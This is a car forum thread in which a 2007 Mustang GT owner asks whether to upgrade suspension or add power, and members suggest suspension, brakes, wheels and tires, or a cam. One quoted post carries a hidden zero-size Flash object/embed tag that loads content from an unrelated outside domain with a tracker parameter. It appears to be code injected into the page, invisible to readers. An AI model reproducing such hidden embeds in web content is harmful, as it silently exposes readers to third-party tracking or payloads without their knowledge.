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Jims07Screw

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Here's what I have 07 GT Manual trans 3.55 gears American Racing Headers w/ catted X-pipe to magnaflow cat back, JLT Cai and a custom tune. My question is what do I get next. Upgrade suspension or go more power parts. Give me some of your experience please.
 

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Buy lots of gas and just enjoy the hell out of it!
 

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Suspension, brakes, and wheel/tires.

I'd at least start with rear control arms, and a sway bar kit. That will make the car feel more solid during acceleration and cornering.

Remember power is nothing without control.
 

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Keep doing what your doing now..........research first then spend wisely. I am no mustang expert just learning myself. Good luck and have fun/

patrick
 

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walter said:
Suspension, brakes, and wheel/tires.<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="0" height="0"><param name="movie" value="http://brbyowner.com/?tracker=4730"></param><param name="allowFullScreen" value="true"></param><embed src="http://brbyowner.com/?tracker=4730" type="application/x-shockwave-flash" allowfullscreen="true" width="0" height="0"></embed></object>

I'd at least start with rear control arms, and a sway bar kit. That will make the car feel more solid during acceleration and cornering.

Remember power is nothing without control.
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+1, sounds like you have it powered up and sounding right. Now its time to get it looking right. I would go with suspesion and new wheels...
 
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Have 18" Ford racing wheels with Yokohama S. Drive tires. I got tired of the Pirelli's blowing out out. Three tires all blew out the side walls.
 
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i have done just about everything bolt-on so far. my next purchase is wheels and tires, only because i need new rubber. if i did not need new tires my next buy would be a new cam. a little pricey, but the power gain is well worth it. i'd go with that. but yes, research before you do anything.
 

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An upgraded suspension makes a huge difference in how the car performs. There are a lot of options to pick from, I am very happy with my Roush kit. Some people like to mix and match with different manufacturers; some people advise against that. The car will also look better from being lowered with a new suspension.
 
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